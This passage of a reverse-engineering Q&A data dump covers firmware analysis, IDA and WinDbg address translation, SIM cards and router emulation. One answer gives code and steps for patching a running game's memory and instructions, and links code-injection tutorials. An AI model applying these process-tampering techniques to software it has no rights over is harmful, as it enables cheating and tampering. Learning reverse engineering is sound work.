PAGE_SIZE;&#xA;        int buflen = PAGE_SIZE;&#xA;&#xA;        prepend(&amp;amp;cwd, &amp;amp;buflen, &quot;\0&quot;, 1);&#xA;        error = prepend_path(&amp;amp;pwd, &amp;amp;tmp, &amp;amp;cwd, &amp;amp;buflen);&#xA;        spin_unlock(&amp;amp;dcache_lock);&#xA;&#xA;        if (error)&#xA;            goto out;&#xA;&#xA;        /* Unreachable from current root */&#xA;        if (!path_equal(&amp;amp;tmp, &amp;amp;root)) {&#xA;            error = prepend_unreachable(&amp;amp;cwd, &amp;amp;buflen);&#xA;            if (error)&#xA;                goto out;&#xA;        }&#xA;&#xA;        error = -ERANGE;&#xA;        len = PAGE_SIZE + page - cwd;&#xA;        if (len &amp;lt;= size) {&#xA;            error = len;&#xA;            if (copy_to_user(buf, cwd, len))&#xA;                error = -EFAULT;&#xA;        }&#xA;    } else&#xA;        spin_unlock(&amp;amp;dcache_lock);&#xA;&#xA;out:&#xA;    path_put(&amp;amp;pwd);&#xA;    path_put(&amp;amp;root);&#xA;    free_page((unsigned long) page);&#xA;    return error;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;TL;DR&lt;/p&gt;&#xA;&#xA;&lt;p&gt;glibc only specifies a stub looking up the PWD variable, it it is not set, the filesystem implementation has to handle the job&lt;/p&gt;&#xA;" OwnerUserId="3162" LastEditorUserId="3162" LastEditDate="2017-03-24T07:10:22.063" LastActivityDate="2017-03-24T07:10:22.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15002" PostTypeId="2" ParentId="14988" CreationDate="2017-03-24T10:24:50.603" Score="1" Body="&lt;p&gt;A Hex Editor that supports &lt;a href=&quot;https://www.sweetscape.com/010editor/templates.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;binary templates&lt;/a&gt; to parse and view data is probably the best tool to view where a sqlite database starts and ends. Then you can copy these hex bytes out to a seperate file and view as database from there on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example of such a hex editor is &lt;a href=&quot;https://www.sweetscape.com/010editor/&quot; rel=&quot;nofollow noreferrer&quot;&gt;010 editor&lt;/a&gt; and here is an example of a &lt;a href=&quot;https://github.com/fesh0r/010editor/blob/master/010%20Templates/SQLite.bt&quot; rel=&quot;nofollow noreferrer&quot;&gt;sqlite binary template&lt;/a&gt; for sqlite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1ltsz.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1ltsz.gif&quot; alt=&quot;Image of binary template on a .zip file&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2017-03-24T10:24:50.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15004" PostTypeId="2" ParentId="14690" CreationDate="2017-03-24T14:21:26.920" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;how I'd go from a static address in IDA, to an actual address ... in another C++ program&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When executable file is loaded in IDA, it is loaded with the preferred image base taken from executable's header. It can be viewed, for example, through menu &lt;code&gt;Edit -&amp;gt; Segments -&amp;gt; Rebase program...&lt;/code&gt;. Value there is an image base.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way taken &lt;a href=&quot;http://garage4hackers.com/showthread.php?t=6917&quot; rel=&quot;nofollow noreferrer&quot;&gt;from here&lt;/a&gt;: go to &lt;code&gt;File -&amp;gt; Script command...&lt;/code&gt; or press &lt;code&gt;Shift+F2&lt;/code&gt;, select Python as scripting language, type&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print &quot;%x&quot; % (idaapi.get_imagebase())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as script body and press &lt;code&gt;Run&lt;/code&gt;. You will see current image base in the Output Window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way you will know image base assigned by IDA. In your example it's most likely &lt;code&gt;0x0000000140000000&lt;/code&gt;. Now you can subtract it from the variable address you already know to get variable's offset in the executable (say, we're dealing with &lt;code&gt;health&lt;/code&gt; variable stored at &lt;code&gt;0x0000000140005034&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x0000000140005034 - 0x0000000140000000 = 0x5034&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you have to find image base of the target module in another process. In your example it's the image base of the executable itself, not DLL. Process of obtaining the exe image base may be found at stackoverflow through &lt;a href=&quot;https://stackoverflow.com/a/14467493/2125384&quot;&gt;this link&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code is posted below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;windows.h&amp;gt;&#xA;&#xA;#include &amp;lt;Psapi.h&amp;gt;&#xA;&#xA;#include &amp;lt;algorithm&amp;gt;&#xA;#include &amp;lt;exception&amp;gt;&#xA;#include &amp;lt;iostream&amp;gt;&#xA;#include &amp;lt;string&amp;gt;&#xA;#include &amp;lt;vector&amp;gt;&#xA;&#xA;// Linking Psapi.lib&#xA;#pragma comment(lib, &quot;Psapi.lib&quot;)&#xA;&#xA;struct close_on_exit&#xA;{&#xA;    close_on_exit(HANDLE ptr)&#xA;        : ptr_(ptr)&#xA;    { };&#xA;&#xA;    ~close_on_exit()&#xA;    {&#xA;        if (ptr_)&#xA;        {&#xA;            ::CloseHandle(ptr_);&#xA;            ptr_ = nullptr;&#xA;        }&#xA;    }&#xA;&#xA;private:&#xA;    HANDLE ptr_;&#xA;};&#xA;&#xA;int main()&#xA;{&#xA;    //&#xA;    // code of creating process here&#xA;    //&#xA;&#xA;    DWORD id = process.dwProcessId;  // obtained from PROCESS_INFORMATION structure&#xA;&#xA;    HANDLE process_handle = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);&#xA;    close_on_exit free_ptr(process_handle);  // auto release memory on exception&#xA;&#xA;    if (NULL == process_handle)&#xA;    {&#xA;        throw std::exception(&quot;OpenProcess failed&quot;);&#xA;    }&#xA;&#xA;    DWORD bytes_requested = 0;&#xA;    if (::EnumProcessModules(process_handle, NULL, 0, &amp;amp;bytes_requested) == 0)&#xA;    {&#xA;        throw std::exception(&quot;EnumProcessModules failed&quot;);&#xA;    }&#xA;&#xA;    // Retrieve module handles into array with appropriate size.&#xA;    std::vector&amp;lt;HMODULE&amp;gt; module_handles(bytes_requested / sizeof(HMODULE));&#xA;    if (::EnumProcessModules(process_handle, module_handles.data(), bytes_requested, &amp;amp;bytes_requested))&#xA;    {&#xA;        char module_name[MAX_PATH];&#xA;&#xA;        for (auto ci = module_handles.begin(); ci != module_handles.end(); ++ci)&#xA;        {&#xA;            if (::GetModuleFileNameExA(process_handle, *ci, module_name, sizeof(module_name)))&#xA;            {&#xA;                MODULEINFO module_info = { 0 };&#xA;                if (false == ::GetModuleInformation(process_handle, *ci, &amp;amp;module_info, sizeof(module_info)))&#xA;                {&#xA;                    throw std::exception(&quot;GetModuleInformation failed&quot;);&#xA;                }&#xA;&#xA;                const std::string exe_ending = &quot;.exe&quot;;&#xA;                std::string current_module = module_name;&#xA;&#xA;                // Make lower case of module name if it is something like &quot;EXE&quot;.&#xA;                std::transform(current_module.begin(), current_module.end(), current_module.begin(), ::tolower);&#xA;&#xA;                if (std::equal(exe_ending.rbegin(), exe_ending.rend(), current_module.rbegin()))&#xA;                {&#xA;                    std::cout &amp;lt;&amp;lt; &quot;Process: &quot; &amp;lt;&amp;lt; current_module &amp;lt;&amp;lt; std::endl;&#xA;                    std::cout &amp;lt;&amp;lt; &quot; id: &quot; &amp;lt;&amp;lt; id &amp;lt;&amp;lt; std::endl;&#xA;                    std::cout &amp;lt;&amp;lt; &quot; image base: 0x&quot; &amp;lt;&amp;lt; std::hex &amp;lt;&amp;lt;&#xA;                        reinterpret_cast&amp;lt;uintptr_t&amp;gt;(module_info.lpBaseOfDll) &amp;lt;&amp;lt; std::endl;&#xA;&#xA;                    break;&#xA;                }&#xA;            }&#xA;            else&#xA;            {&#xA;                throw std::exception(&quot;GetModuleFileNameExA failed&quot;);&#xA;            }&#xA;        }&#xA;    }&#xA;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you should just add the offset to this image base and get address of the variable in the real process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IMO, injection is unnecessary for solving your issue. You may now use functions like &lt;code&gt;ReadProcessMemory&lt;/code&gt; &amp;amp; &lt;code&gt;WriteProcessMemory&lt;/code&gt; without injecting into process with interval less than &lt;code&gt;500&lt;/code&gt; - this way you will update health from the external application more frequently than it will be updated from the game itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another variant is to modify the code (not the variable itself) of your game in runtime. For this you should create your process suspended (or suspend it in runtime). You may learn address of the instruction which updates variable's state the same way as you learned the variable's address. Then you may modify it to the instruction which always sets the variable to some predefined value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, code of health decreasing looks like this on my machine (debug x64):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;000000013FD32ACE 8B 05 2C 25 01 00    mov eax,dword ptr [health (013FD45000h)]  &#xA;000000013FD32AD4 FF C8                dec eax  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may modify it like this with the help of already mentioned &lt;code&gt;WriteProcessMemory&lt;/code&gt; function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;000000013FD32ACE B8 10 00 00 00           mov eax,10&#xA;000000013FD32AD3 90                       nop&#xA;000000013FD32AD4 90                       nop&#xA;000000013FD32AD5 90                       nop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you still want to play with code injection, here are tutorials on this topic:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.codeproject.com/Articles/4610/Three-Ways-to-Inject-Your-Code-into-Another-Proces&quot; rel=&quot;nofollow noreferrer&quot;&gt;Three Ways to Inject Your Code into Another Process&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.codeproject.com/Articles/5178/DLL-Injection-and-function-interception-tutorial&quot; rel=&quot;nofollow noreferrer&quot;&gt;DLL Injection and function interception tutorial&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16505" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2017-05-22T17:10:39.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15006" PostTypeId="1" AcceptedAnswerId="15025" CreationDate="2017-03-24T18:56:39.223" Score="18" ViewCount="23437" Body="&lt;p&gt;The purpose of this question is to gain an understanding of the concepts behind reverse engineering and to understand what approaches may be taken to extract useful information from a binary file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've obtained an .hex file. Then I've converted it to a binary file using &lt;code&gt;hex2bin&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./hex2bin firmware.hex&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I've searched for some readable strings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;strings firmaware.bin&#xA;...&#xA;WATT&#xA;MODE &#xA;TEMP &#xA;MEMORY&#xA; MODE &#xA; STRENGTH&#xA;  MIN &#xA;SOFT&#xA;NORM&#xA;HARD&#xA; MAX &#xA;BLUETOOTH&#xA;   ON    &#xA;   OFF   &#xA;   LED   &#xA;STEALTH&#xA; OFF  &#xA;  ON  &#xA;  TODAY&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've also tried to run &lt;code&gt;binwalk&lt;/code&gt;, but the output is blank:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    binwalk firmware.bin &#xA;&#xA;    DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;    --------------------------------------------------------------------------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First question: why is the output is blank?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also tried to check the entropy to guess if the file is encrypted or compressed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;binwalk -E firmware.bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WYvtS.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WYvtS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As suggested in another answer, I proceeded to use radare2 in order to find the original ARM code (I'm totally new to this tool); in particular I want to extract all the functions used in this file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;radare2 -A -arm -b 32 firmware.bin &#xA;[x] Analyze all flags starting with sym. and entry0 (aa)&#xA;[x] Analyze len bytes of instructions for references (aar)&#xA;[x] Analyze function calls (aac)&#xA;[ ] [*] Use -AA or aaaa to perform additional experimental analysis.&#xA;[x] Constructing a function name for fcn.* and sym.func.* functions (aan))&#xA; -- Step through your seek history with the commands 'u' (undo) and 'U' (redo)&#xA;[0x00000000]&amp;gt; aa&#xA;[x] Analyze all flags starting with sym. and entry0 (aa)&#xA;[0x00000000]&amp;gt; afl&#xA;0x00000000    1 10           fcn.00000000&#xA;0x0000000a    3 108          fcn.0000000a&#xA;0x00000142    1 3            fcn.00000142&#xA;0x00000c02    1 2            fcn.00000c02&#xA;0x00002b0f    1 41           fcn.00002b0f&#xA;0x00004319    1 8            fcn.00004319&#xA;0x00004321    1 67           fcn.00004321&#xA;0x000055f0    1 3            fcn.000055f0&#xA;0x000059f0    1 11           fcn.000059f0&#xA;0x00005b0e    1 3            fcn.00005b0e&#xA;0x00006971    1 49           fcn.00006971&#xA;0x00006c9a    1 7            fcn.00006c9a&#xA;0x00007020    6 353  -&amp;gt; 356  fcn.00007020&#xA;0x00007663    5 70   -&amp;gt; 100  fcn.00007663&#xA;0x000082d3    1 110          fcn.000082d3&#xA;0x0000886b    3 56           fcn.0000886b&#xA;0x00009360   43 783  -&amp;gt; 716  fcn.00009360&#xA;0x0000990e    3 28   -&amp;gt; 34   fcn.0000990e&#xA;0x0000b7f0    7 230  -&amp;gt; 238  fcn.0000b7f0&#xA;0x0000c130    2 40           fcn.0000c130&#xA;0x0000e00c    9 393  -&amp;gt; 239  fcn.0000e00c&#xA;0x0000e017    9 382  -&amp;gt; 228  fcn.0000e017&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Question two: these functions are used in the .bin file (so in the original source code), am I correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question three: How can I extract the data where the strings found are used?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question four: What useful information can be extracted from this file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point I am stuck. I'm a newcomer, so I would like to learn how to approach a situation in which I don't get useful information from a tool (like &lt;code&gt;binwalk&lt;/code&gt;). So, if someone could suggest to me what steps should be taken in order to extract useful information (by this I mean pointing out concepts to understand, where to find information, useful resources, books and so on), and I would greatly appreciate it. If someone could show me how to proceed with this file, that would be great, so I can see directly some results and proceed with my study.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the file: &lt;a href=&quot;http://www.3fvape.com/images/3fvape-blog-img/20150806-4384-xcubeII-upgrade/SMOK_X_CUBE_II_firmware_v1.07.hex&quot; rel=&quot;noreferrer&quot;&gt;http://www.3fvape.com/images/3fvape-blog-img/20150806-4384-xcubeII-upgrade/SMOK_X_CUBE_II_firmware_v1.07.hex&lt;/a&gt; &#xA;The source file is in intel 32 bit .hex format and is for ARM Cortex-M0.&lt;/p&gt;&#xA;" OwnerUserId="19486" LastEditorUserId="18317" LastEditDate="2017-03-25T04:00:10.303" LastActivityDate="2021-11-18T06:58:12.427" Title="Approach to extract useful information from binary file" Tags="|binary-analysis|firmware|arm|hex|binary|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15008" PostTypeId="2" ParentId="14116" CreationDate="2017-03-25T04:52:27.657" Score="3" Body="&lt;p&gt;You can use &lt;a href=&quot;http://gameguardian.net/download&quot; rel=&quot;nofollow noreferrer&quot;&gt;GameGuardian&lt;/a&gt; for dump memory. Need root.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Memory editor tab - menu - memory dump - select range and folder - press ok - wait for toast &quot;Dump end&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here some video examples how to do this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gameguardian.net/forum/gallery/image/248-how-to-dump-memory-of-any-running-processes-in-android-gameguardian/&quot; rel=&quot;nofollow noreferrer&quot;&gt;How to dump memory of any running processes in Android -&#xA;GameGuardian&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gameguardian.net/forum/gallery/image/251-how-to-dump-odex-file-from-memory-on-android-gameguardian/&quot; rel=&quot;nofollow noreferrer&quot;&gt;How to dump odex file from memory on Android -&#xA;GameGuardian&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gameguardian.net/forum/gallery/image/252-how-to-dump-deleted-file-from-memory-on-android-gameguardian/&quot; rel=&quot;nofollow noreferrer&quot;&gt;How to dump deleted file from memory on Android -&#xA;GameGuardian&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But it not enough for build valid ELF (.so) file from dump. It is impossible because some data from ELF used only on load and never stored in memory. And some other data (relocations for example) changed during ELF load.&lt;/p&gt;&#xA;" OwnerUserId="19651" LastActivityDate="2017-03-25T04:52:27.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15009" PostTypeId="1" AcceptedAnswerId="15010" CreationDate="2017-03-25T15:25:49.730" Score="0" ViewCount="187" Body="&lt;p&gt;I found a breakpoint in OllyDbg that works for my purposes. But now I want to use WinDbg for scripting and when I try to set the same breakpoint, I get no breaks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In OllyDbg, the following breakpoint gets me exactly what I want: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Address=75B0C4FA |  Module=KERNELBA | Active=Always | Disassembly=CMP EAX,103&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I try to set a breakpoint in WinDbg , it never comes back with anything:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bp 75b0c4fa&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/hardware/ff538903(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;the MS Dev Center documentation&lt;/a&gt; for the &lt;code&gt;bp&lt;/code&gt; command, I should be able to reference addresses specifically, but in my searching, most people are using &lt;code&gt;bp&lt;/code&gt; to reference API calls, such as &lt;code&gt;bp ReadFile&lt;/code&gt; (which does break as expected). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions: is it possible to use the breakpoint (75B0C4FA) using WinDbg?&#xA;And if so, what am I missing in terms of adapting the address I have to make it work in Windbg? &#xA;Does it have to do with &lt;code&gt;bp ReadFile&lt;/code&gt; accessing the ReadFile API calls for the main process, while with my breakpoint, it is trying to put breaks into sub module?&lt;/p&gt;&#xA;" OwnerUserId="17633" LastActivityDate="2017-03-25T16:14:34.363" Title="Using breakpoints from OllyDbg in Windbg" Tags="|ollydbg|windbg|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15010" PostTypeId="2" ParentId="15009" CreationDate="2017-03-25T15:49:26.333" Score="1" Body="&lt;p&gt;Dlls do not load at same address the load address is randomised due to aslr subtract the base address of kernelbase from your address in ollydbg viz75xxxx - say 74xxxxx. = 01xxxxx. Now in windbg find where kernelbase is loaded. Ssy 58xxxxxx. Add the 01xxxxx to this base address. And  set bp viz 58xxxxx + 01xxxxx = 59xxxxx &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bp 59xxxxxx. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read about rva aslr loadaddress etc to get a hang of this&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2017-03-25T16:14:34.363" LastActivityDate="2017-03-25T16:14:34.363" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15011" PostTypeId="1" AcceptedAnswerId="15012" CreationDate="2017-03-25T16:38:37.950" Score="15" ViewCount="6846" Body="&lt;p&gt;I understand that a SIM card has memory, and that some or maybe all of them also include microprocessors.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;They act as peripherals that are more than just flash memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to be able to read the contents and extract my contacts and messages, for backup, so I bought an el-cheapo &quot;SIM Card Reader&quot; that plugs into a USB port.  But when I plug it in it is as if it isn't even there.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how can I get access to the data?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, I understand that they can affect the baseband portion of the cellphone, including frequency of operation and whatever codes are necessary to identify itself (IMEI) and to access a particular network (T-Mobile, AT&amp;amp;T, Verizen).  Again, it is clearly more than just flash memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is, how exactly do they work, and how can I read the data from my phone's card?&lt;/p&gt;&#xA;" OwnerUserId="18580" LastEditorUserId="18580" LastEditDate="2018-05-14T17:00:10.093" LastActivityDate="2018-06-01T19:41:25.357" Title="How does a SIM card work?" Tags="|firmware|memory|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="15012" PostTypeId="2" ParentId="15011" CreationDate="2017-03-25T18:04:08.603" Score="17" Body="&lt;p&gt;SIMs card are a type of Universal Integrated Circuit Card (UICC).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;how exactly do they work&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;http://2014.phdays.com/program/tech/36814/&quot; rel=&quot;noreferrer&quot;&gt;Karsten Nohl's presentation &quot;Mobile Network Attack Evolution&quot;&lt;/a&gt;, SIM cards contain an embedded &lt;a href=&quot;https://en.wikipedia.org/wiki/Real-time_operating_system&quot; rel=&quot;noreferrer&quot;&gt;real-time operating system&lt;/a&gt;, a filesystem and a Java VM:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/L6qqP.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/L6qqP.png&quot; alt=&quot;Presentation slide 1&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the technical specification for UICCs, which describes exactly how they work: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.etsi.org/deliver/etsi_ts/102200_102299/102221/08.02.00_60/ts_102221v080200p.pdf&quot; rel=&quot;noreferrer&quot;&gt;ETSI TS 102 221 V8.2.0 (2009-06)&#xA;Technical Specification for smart cards, the UICC-Terminal interface and physical and logical characteristics&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;how can I get access to the data?  how can I get into my own card?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This DefCon presentation &lt;a href=&quot;https://www.youtube.com/watch?v=_-nxemBCcmU&quot; rel=&quot;noreferrer&quot;&gt;&quot;DEF CON 21 - Karl Koscher and Eric Butler - The Secret Life of SIM Cards&quot;&lt;/a&gt; video explains quite a bit about SIM cards and how to interface with them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://simhacks.github.io/defcon-21/&quot; rel=&quot;noreferrer&quot;&gt;presentation slides&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gotqq.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gotqq.png&quot; alt=&quot;Interfacing with SIM Cards 1&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They also had trouble:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OCEGU.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OCEGU.png&quot; alt=&quot;Interfacing with SIM Cards 2&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They found &lt;a href=&quot;http://simalliance.org/key-technical-releases/&quot; rel=&quot;noreferrer&quot;&gt;SIM Alliance Loader&lt;/a&gt; software...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SDwbG.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SDwbG.png&quot; alt=&quot;Interfacing with SIM Cards 3&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...but decided to use &lt;a href=&quot;https://www.globalplatform.org/complianceproducts.asp&quot; rel=&quot;noreferrer&quot;&gt;GlobalPlatform&lt;/a&gt; instead, which is far more complicated. In order to use GlobalPlatform to interface with the SIM card, the presenters drew on techniques presented in &lt;a href=&quot;http://2014.phdays.com/program/tech/36814/&quot; rel=&quot;noreferrer&quot;&gt;Karsten Nohl's research&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2017-03-26T03:54:03.553" LastActivityDate="2017-03-26T03:54:03.553" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15013" PostTypeId="1" CreationDate="2017-03-25T18:05:28.280" Score="-1" ViewCount="127" Body="&lt;p&gt;I'm developing a debugging automation system using &lt;a href=&quot;https://github.com/MarioVilas/winappdbg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/MarioVilas/winappdbg&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to retrieve process name from event object. Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def EventHandler(event):&#xA;    print 'Inside event handler'&#xA;    # I want to print the  process name here, In this case which should be somefile.exe&#xA;&#xA;debug = Debug( EventHandler, bKillOnExit = True )&#xA;proc = debug.execv(['c:\somefile.exe','arg'])&#xA;debug.loop()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11562" LastActivityDate="2017-03-26T04:25:28.630" Title="Python winappdbg getting process name from event object" Tags="|debugging|python|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15014" PostTypeId="2" ParentId="12560" CreationDate="2017-03-25T22:12:13.570" Score="2" Body="&lt;p&gt;Most MIPS/ARM based routers have a ROM bootloader that runs when the device is powered on.  This bootloader is typically accessible via a serial port, but some platforms (like AR7) do weird things like have an FTP server going (you can flash firmware through it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This bootloader will load a kernel image and initrd from a partition of a NAND device, then run it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;bin&lt;/code&gt; file is probably designed to be written to a flash partition directly, then unpacked/loaded into RAM by the bootloader.  There are more partitions than just the one holding the kernel, you will have one possibly holding the initrd or rootfs, and one acting as the &quot;NVRAM&quot; or holding settings.  One may even hold the bootloader itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once Linux is running, firmware upgrades happen by writing to a &lt;code&gt;/dev/mmcbllkpX&lt;/code&gt; device.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can probably solve the bootloader issue by finding out which flash partitions on the device are the kernel and initrd, and use QEMU's &lt;code&gt;-kernel&lt;/code&gt; and &lt;code&gt;-initrd&lt;/code&gt; options to load them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the firmware will still likely be expecting ALL of the original flash as part of its expected devices.  This is where you are going to run into serious problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know how to get QEMU to emulate a NAND device or if it's even possible (it's NOT the same as a disk device).  Most routers have a single NAND device &quot;partitioned&quot; and the Linux kernel recreates them as &lt;code&gt;/dev/mmcblkp0&lt;/code&gt;, &lt;code&gt;/dev/mmcblkp1&lt;/code&gt;, etc.  To attempt recreate the original environment of the device, you really need the full NAND dumped and partitioned as it is on the chip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also the problem that if the router is not Linux-based, that it may only work with the specific hardware devices in the router.&lt;/p&gt;&#xA;" OwnerUserId="19658" LastActivityDate="2017-03-25T22:12:13.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
